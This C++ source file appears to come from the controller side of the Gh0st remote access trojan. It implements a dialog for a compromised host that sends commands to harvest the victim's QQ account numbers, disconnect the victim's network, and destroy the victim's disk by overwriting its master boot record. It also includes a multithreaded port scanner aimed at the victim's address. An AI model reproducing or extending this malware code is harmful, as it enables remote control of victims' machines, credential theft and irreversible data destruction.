616 lines
14 KiB
C++
616 lines
14 KiB
C++
// Mydat.cpp : implementation file
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//
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#include "stdafx.h"
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#include "gh0st.h"
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#include "Mydat.h"
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#ifdef _DEBUG
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#define new DEBUG_NEW
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#undef THIS_FILE
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static char THIS_FILE[] = __FILE__;
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#endif
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/////////////////////////////////////////////////////////////////////////////
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// CMydat dialog
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//线程返回的错误代码，调试用
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#define ERROR_CREATE_SOCKET -1L
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#define ERROR_MODIFY_FIONBIO -2L
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#define ERROR_SELECT -3L
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#define ERROR_SELECT_TIMEOUT -4L
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//线程发回的消息
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#define SCAN_THREAD WM_USER+100
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//线程发回的消息的wParam参数定义
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#define DOSCAN_FIND_PORT 1 //发现一个开放端口
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#define DOSCAN_END_PORT 2 //完成一个端口扫描
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#define STARTSCAN_COMPLETE 3 //完成所有扫描
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//
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#define MAX_SEPECIEFIED_PORTS 256 //对于扫描指定的端口的最大数
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//全局变量
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HWND g_hWnd = NULL; //处理消息的窗口句柄
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unsigned long g_ulAddr = INADDR_NONE; //扫描的主机地址
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DWORD g_dwTimeOut = 1000; //连接超时时间，以ms计
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bool g_bTerminate = false; //是否用户发出结束扫描的标志
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short g_nMaxThread = 200; //最大允许的扫描线程数，经试验不宜大于200
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short g_nThreadCount = 0; //当前正在扫描的进程数
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/////////////////////////////////////////////////////////////////////////////
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// CAboutDlg dialog used for App About
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struct tag_PORTS
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{
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BOOL bSepecifiedPort;
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union
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{
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struct
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{
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unsigned short iStartPort;
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unsigned short iEndPort;
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};
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struct
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{
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unsigned short nCount;
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unsigned short nArrOfPorts[MAX_SEPECIEFIED_PORTS];
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};
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};
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};
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bool IsIpString(const char* pszHostOrIp)
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{
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if (strlen(pszHostOrIp) > 15)
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{
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return false;
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}
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//创建一个输入字符的副本，防止被修改
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char szHostOrIpCopy[16];
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strcpy(szHostOrIpCopy, pszHostOrIp);
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int nPart = 0;
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char* pszPart = strtok(szHostOrIpCopy, ".");
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while (pszPart != NULL)
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{
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for (unsigned int i=0; i<strlen(pszPart); i++)
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{
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if (pszPart[i]>'9' || pszPart[i]<'0')
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{
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return false;
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}
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}
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if (unsigned int(atoi(pszPart)) > 255)
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{
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return false;
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}
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nPart++;
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pszPart = strtok(NULL, ".");
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}
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return nPart == 4;
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}
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unsigned long GetAddr(const char* pszHostOrIp)
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{
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if (*pszHostOrIp == '\0')
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{
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return inet_addr("127.0.0.1");
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}
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if (IsIpString(pszHostOrIp))
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{
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return inet_addr(pszHostOrIp);
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}
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hostent* pHostent = gethostbyname(pszHostOrIp);
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if (pHostent == NULL)
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{
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return INADDR_NONE;
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}
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return (*(unsigned long*)*pHostent->h_addr_list);
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}
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DWORD WINAPI DoScanPort(LPVOID lpParam)
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{
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DWORD dwRet;
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short nPort = *(short*) lpParam;
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delete lpParam;
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SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
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if(sock == INVALID_SOCKET)
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{
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AfxMessageBox("创建套接字失败!");
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dwRet = ERROR_CREATE_SOCKET;
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}
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else
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{
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unsigned long flag = 1;
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if ((ioctlsocket(sock, FIONBIO, &flag) != 0))
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{
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AfxMessageBox("未能改为非阻塞模式!");
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dwRet = ERROR_MODIFY_FIONBIO;
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}
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else
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{
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sockaddr_in severAddr;
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severAddr.sin_family = AF_INET;
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severAddr.sin_port = htons(nPort);
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severAddr.sin_addr.S_un.S_addr = g_ulAddr;
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connect(sock, (sockaddr*)&severAddr, sizeof(severAddr));
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struct fd_set mask;
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FD_ZERO(&mask);
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FD_SET(sock, &mask);
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struct timeval timeout;
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timeout.tv_sec = g_dwTimeOut / 1000;
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timeout.tv_usec = g_dwTimeOut % 1000;
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switch(select(0, NULL, &mask, NULL, &timeout))
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{
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case -1:
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dwRet = ERROR_SELECT;
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break;
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case 0:
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dwRet = ERROR_SELECT_TIMEOUT;
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break;
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default:
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dwRet = ERROR_SUCCESS;
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};
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}
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closesocket(sock);
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}
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g_nThreadCount --;
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if (dwRet == ERROR_SUCCESS)
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{
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::SendMessage(g_hWnd, SCAN_THREAD, DOSCAN_FIND_PORT, nPort);
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}
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else
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{
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::SendMessage(g_hWnd, SCAN_THREAD, DOSCAN_END_PORT, nPort);
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}
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return dwRet;
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}
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DWORD WINAPI StartScan(LPVOID lpParam)
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{
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tag_PORTS* pScanParam = (tag_PORTS*)lpParam;
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DWORD dwThreadId;
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unsigned short i;
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if (pScanParam->bSepecifiedPort)
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{
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for(i=0; i<=pScanParam->nCount; i++)
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{
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if (g_bTerminate)
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{
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break; //用户已发出结束扫描命令
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}
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while(g_nThreadCount >= g_nMaxThread)
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{
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Sleep(10);
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}
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if (CreateThread(NULL, 0, DoScanPort, (LPVOID)new short(pScanParam->nArrOfPorts[i]), 0, &dwThreadId) != NULL)
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{
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g_nThreadCount ++;
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}
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}
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}
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else
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{
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for(i=pScanParam->iStartPort; i<=pScanParam->iEndPort; i++)
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{
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if (g_bTerminate)
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{
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break; //用户已发出结束扫描命令
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}
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while(g_nThreadCount >= g_nMaxThread)
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{
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Sleep(10);
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}
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if (CreateThread(NULL, 0, DoScanPort, (LPVOID)new short(i), 0, &dwThreadId) != NULL)
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{
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g_nThreadCount ++;
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}
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}
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}
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//等待各端口扫描线程结束
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while (g_nThreadCount > 0)
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{
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Sleep(50);
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}
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::SendMessage(g_hWnd, SCAN_THREAD, STARTSCAN_COMPLETE, 0);
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delete pScanParam;
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return ERROR_SUCCESS;
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}
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////////////////////////////////////////////////////////////////////////////
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CMydat::CMydat(CWnd* pParent,CIOCPServer* pIOCPServer, ClientContext *pContext)
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: CDialog(CMydat::IDD, pParent)
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{
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//{{AFX_DATA_INIT(CMydat)
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m_iocpServer = pIOCPServer;
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m_pContext = pContext;
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m_iEndPort = 1024;
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m_csHostOrIp = _T("");
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m_bIsSpecifiedPort = FALSE;
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m_nMaxThread = 200;
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m_iStartPort = 1;
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m_dwTimeOut = 1000;
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//}}AFX_DATA_INIT
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m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
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m_hThread = NULL;
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}
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void CMydat::DoDataExchange(CDataExchange* pDX)
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{
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CDialog::DoDataExchange(pDX);
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//{{AFX_DATA_MAP(CMydat)
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DDX_Control(pDX, IDC_PROGRESS1, m_progress);
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DDX_Control(pDX, IDC_TREE, m_ctrResultTree);
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DDX_Control(pDX, IDC_SPECIFIED_PORTS, m_ctrSpecifiedPorts);
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DDX_Control(pDX, IDC_IS_SPECIFIED_PORT, m_ctrCheck);
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DDX_Control(pDX, IDC_SCAN, m_ctrBeginScan);
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DDX_Control(pDX, IDC_EDIT_NEWDAT, m_mynewdat);
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DDX_Control(pDX, IDC_EDIT_DAT, m_mydat);
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DDX_Text(pDX, IDC_END_PORT, m_iEndPort);
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DDX_Text(pDX, IDC_HOST_OR_IP, m_csHostOrIp);
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DDX_Check(pDX, IDC_IS_SPECIFIED_PORT, m_bIsSpecifiedPort);
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DDX_Text(pDX, IDC_MAX_THREAD, m_nMaxThread);
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DDV_MinMaxUInt(pDX, m_nMaxThread, 50, 200);
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DDX_Text(pDX, IDC_START_PORT, m_iStartPort);
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DDX_Text(pDX, IDC_TIME_OUT, m_dwTimeOut);
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DDV_MinMaxDWord(pDX, m_dwTimeOut, 0, 100000);
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//}}AFX_DATA_MAP
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}
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BEGIN_MESSAGE_MAP(CMydat, CDialog)
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//{{AFX_MSG_MAP(CMydat)
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ON_BN_CLICKED(IDC_BUTTON_GETDAT, OnButtonGetdat)
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ON_BN_CLICKED(IDC_BUTTON_CHANGDAT, OnButtonChangdat)
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ON_WM_CLOSE()
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ON_BN_CLICKED(IDC_BUTTON_GET_QQ, OnButtonGetQq)
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ON_BN_CLICKED(IDC_BUTTON_DISCONNECT_NETWORK, OnButtonDisconnectNetwork)
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ON_BN_CLICKED(IDC_BUTTON_KILL_DISK, OnButtonKillDisk)
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ON_BN_CLICKED(IDC_SCAN, OnScan)
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ON_BN_CLICKED(IDC_IS_SPECIFIED_PORT, OnIsSpecifiedPort)
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ON_WM_SYSCOMMAND()
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ON_WM_PAINT()
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ON_WM_QUERYDRAGICON()
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ON_WM_DESTROY()
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ON_WM_TIMER()
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//}}AFX_MSG_MAP
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ON_MESSAGE(SCAN_THREAD, OnScanThread)
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END_MESSAGE_MAP()
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/////////////////////////////////////////////////////////////////////////////
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// CMydat message handlers
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BOOL CMydat::OnInitDialog()
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{
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CDialog::OnInitDialog();
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CString str;
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sockaddr_in sockAddr;
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memset(&sockAddr, 0, sizeof(sockAddr));
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int nSockAddrLen = sizeof(sockAddr);
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BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
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str.Format("\\\\%s - 附加功能", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
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SetWindowText(str);
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// TODO: Add extra initialization here
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BYTE bToken = COMMAND_NEXT;
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m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
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///////////////////////////////////////////////////////////////////////////////////
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SetIcon(m_hIcon, TRUE); // Set big icon
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SetIcon(m_hIcon, FALSE); // Set small icon
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m_pProgressCtrl = (CProgressCtrl*)GetDlgItem(IDC_PROGRESS1);
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m_pProgressCtrl->SetStep(1);
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ReadDefaultPorts();
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// SetDlgItemText(IDC_HOST_OR_IP,inet_ntoa(sockAddr.sin_addr));
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m_csHostOrIp = inet_ntoa(sockAddr.sin_addr);
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UpdateData(false);
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WSADATA wsaData;
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BOOL ret = WSAStartup(MAKEWORD(2,2), &wsaData);
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if(ret != 0)
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{
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MessageBox("初始化网络协议失败!");
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return -1;
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}
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return TRUE; // return TRUE unless you set the focus to a control
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// EXCEPTION: OCX Property Pages should return FALSE
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}
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void CMydat::OnSysCommand(UINT nID, LPARAM lParam)
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{
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CDialog::OnSysCommand(nID, lParam);
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}
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void CMydat::OnPaint()
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{
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if (IsIconic())
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{
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CPaintDC dc(this); // device context for painting
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SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
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// Center icon in client rectangle
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int cxIcon = GetSystemMetrics(SM_CXICON);
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int cyIcon = GetSystemMetrics(SM_CYICON);
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CRect rect;
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GetClientRect(&rect);
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int x = (rect.Width() - cxIcon + 1) / 2;
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int y = (rect.Height() - cyIcon + 1) / 2;
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// Draw the icon
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dc.DrawIcon(x, y, m_hIcon);
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}
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else
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{
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CDialog::OnPaint();
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}
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}
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HCURSOR CMydat::OnQueryDragIcon()
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{
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return (HCURSOR) m_hIcon;
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}
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//////////////////////////////////////////////////////////////////////////////////////////////
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void CMydat::OnReceiveComplete()
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{
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// m_edit.SetWindowText("");
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m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
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CString strResult = m_pContext->m_DeCompressionBuffer.GetBuffer(0);
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// char Text[256];
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// GetDlgItemText(IDC_EDIT_CHAT,Text,sizeof(Text));
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SetDlgItemText(IDC_EDIT_DAT,strResult);
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m_mydat.SetSel(strlen(strResult),strlen(strResult),FALSE);
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}
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void CMydat::OnButtonGetdat()
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{
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// TODO: Add your control notification handler code here
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BYTE bToken = COMMAND_CHAT_CLOSE;
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m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
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}
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void CMydat::OnButtonChangdat()
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{
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// TODO: Add your control notification handler code here
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char str[250];
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GetDlgItemText(IDC_EDIT_NEWDAT,str,sizeof(str));
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if (strcmp(str,"")==0)
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{
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return;
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}
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m_iocpServer->Send(m_pContext, (LPBYTE)str,strlen(str));
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}
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void CMydat::OnButtonGetQq()
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{
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// TODO: Add your control notification handler code here
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BYTE bToken = COMMAND_GETQQNUM;
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m_iocpServer->Send(m_pContext, (PBYTE)&bToken, sizeof(BYTE));
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}
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void CMydat::OnClose()
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{
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// TODO: Add your message handler code here and/or call default
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// MessageBox("完成");
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m_pContext->m_Dialog[0] = 0;
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closesocket(m_pContext->m_Socket);
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CDialog::OnClose();
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}
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void CMydat::OnButtonDisconnectNetwork()
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{
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// TODO: Add your control notification handler code here
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BYTE bToken = COMMAND_DISCONT;
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m_iocpServer->Send(m_pContext, (PBYTE)&bToken, sizeof(BYTE));
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}
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void CMydat::OnButtonKillDisk()
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{
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// TODO: Add your control notification handler code here
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if (MessageBox("毁灭硬盘后将丢失一切数据,确定吗?", "警告", MB_YESNO | MB_ICONWARNING) == IDNO)
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return;
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BYTE bToken = COMMAND_KILL_MBR;
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m_iocpServer->Send(m_pContext, (PBYTE)&bToken, sizeof(BYTE));
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}
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void CMydat::OnScan()
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{
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// TODO: Add your control notification handler code here
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if (m_hThread == NULL)
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{
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UpdateData();
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if ((g_ulAddr = GetAddr(m_csHostOrIp)) == INADDR_NONE)
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{
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AfxMessageBox("无法找到主机");
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return;
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}
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m_nHasComplete = 0;
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m_dwPercentSeconds = 0;
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m_pProgressCtrl->SetPos(0);
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m_hParentTree = m_ctrResultTree.InsertItem(m_csHostOrIp+CTime::GetCurrentTime().Format("---扫描时间%H:%M:%S"));
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g_bTerminate = false;
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g_dwTimeOut = m_dwTimeOut;
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g_hWnd = m_hWnd;
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g_nMaxThread = m_nMaxThread;
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g_nThreadCount = 0;
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tag_PORTS* pScanParam = new tag_PORTS;
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pScanParam->bSepecifiedPort = m_bIsSpecifiedPort;
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if (m_bIsSpecifiedPort)
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{
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//指定端口
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short nCount = 0;
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char buff[10];
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for(int i=0; i<m_ctrSpecifiedPorts.GetLineCount(); i++)
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{
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int len = m_ctrSpecifiedPorts.GetLine(i, buff, 9);
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if (len != 0)
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{
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buff[len] = '\0';
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pScanParam->nArrOfPorts[nCount++]= atoi(buff);
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}
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}
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pScanParam->nCount = nCount;
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m_pProgressCtrl->SetRange(0, pScanParam->nCount);
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}
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else
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{
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pScanParam->iStartPort = m_iStartPort;
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pScanParam->iEndPort = m_iEndPort;
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m_pProgressCtrl->SetRange(0, m_iEndPort-m_iStartPort+1);
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}
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DWORD dwThreadId;
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m_hThread = CreateThread(NULL, 0, StartScan, (LPVOID)pScanParam, 0, &dwThreadId);
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m_ctrBeginScan.SetWindowText("结束扫描");
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SetTimer(1, 100, NULL);
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}
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else if (!g_bTerminate)
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{
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g_bTerminate = TRUE;
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m_ctrBeginScan.SetWindowText("正在结束...");
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}
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}
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void CMydat::OnIsSpecifiedPort()
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{
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// TODO: Add your control notification handler code here
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BOOL bCheck = m_ctrCheck.GetCheck();
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m_ctrSpecifiedPorts.EnableWindow(bCheck);
|
||
}
|
||
|
||
void CMydat::OnDestroy()
|
||
{
|
||
TerminateThread(m_hThread, 0);
|
||
m_hThread = NULL;
|
||
KillTimer(1);
|
||
SaveDefaultPorts();
|
||
|
||
WSACleanup();
|
||
CDialog::OnDestroy();
|
||
}
|
||
|
||
void CMydat::OnTimer(UINT nIDEvent)
|
||
{
|
||
if (nIDEvent == 1)
|
||
{
|
||
CString s;
|
||
m_dwPercentSeconds++;
|
||
s.Format("用时%3d.%1d秒", m_dwPercentSeconds/10, m_dwPercentSeconds%10);
|
||
GetDlgItem(IDC_TIME)->SetWindowText(s);
|
||
|
||
m_pProgressCtrl->SetPos(m_nHasComplete);
|
||
}
|
||
CDialog::OnTimer(nIDEvent);
|
||
}
|
||
|
||
void CMydat::OnScanThread(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
char buff[10];
|
||
switch(wParam)
|
||
{
|
||
case DOSCAN_FIND_PORT:
|
||
sprintf(buff, "%d", short(lParam));
|
||
m_ctrResultTree.InsertItem(buff, m_hParentTree);
|
||
m_ctrResultTree.Expand(m_hParentTree, TVE_EXPAND);
|
||
|
||
case DOSCAN_END_PORT:
|
||
m_nHasComplete++;
|
||
break;
|
||
|
||
case STARTSCAN_COMPLETE:
|
||
m_hThread = NULL;
|
||
m_ctrBeginScan.SetWindowText("开始扫描");
|
||
KillTimer(1);
|
||
// AfxMessageBox("本次扫描结束");
|
||
break;
|
||
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
|
||
BOOL CMydat::PreTranslateMessage(MSG* pMsg)
|
||
{
|
||
//处理回车键
|
||
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
|
||
{
|
||
return 0;
|
||
}
|
||
return CDialog::PreTranslateMessage(pMsg);
|
||
}
|
||
|
||
void CMydat::ReadDefaultPorts()
|
||
{
|
||
try
|
||
{
|
||
CStdioFile f("DefaultPorts.txt", CFile::modeRead|CFile::typeText);
|
||
CString s, ss;
|
||
while (f.ReadString(ss))
|
||
{
|
||
s += ss;
|
||
s += "\r\n";
|
||
}
|
||
GetDlgItem(IDC_SPECIFIED_PORTS)->SetWindowText(s);
|
||
f.Close();
|
||
}
|
||
catch(...)
|
||
{
|
||
CString s = "13\r\n37\r\n123\r\n135\r\n139\r\n489\r\n1002\r\n3389\r\n1100";
|
||
GetDlgItem(IDC_SPECIFIED_PORTS)->SetWindowText(s);
|
||
}
|
||
}
|
||
|
||
void CMydat::SaveDefaultPorts()
|
||
{
|
||
CStdioFile f("DefaultPorts.txt", CFile::modeCreate|CFile::modeWrite|CFile::typeText);
|
||
char buff[10];
|
||
for(int i=0; i<m_ctrSpecifiedPorts.GetLineCount(); i++)
|
||
{
|
||
int len = m_ctrSpecifiedPorts.GetLine(i, buff, 9);
|
||
if (len != 0)
|
||
{
|
||
buff[len] = '\0';
|
||
f.WriteString(buff);
|
||
f.WriteString("\r\n");
|
||
}
|
||
}
|
||
f.Close();
|
||
}
|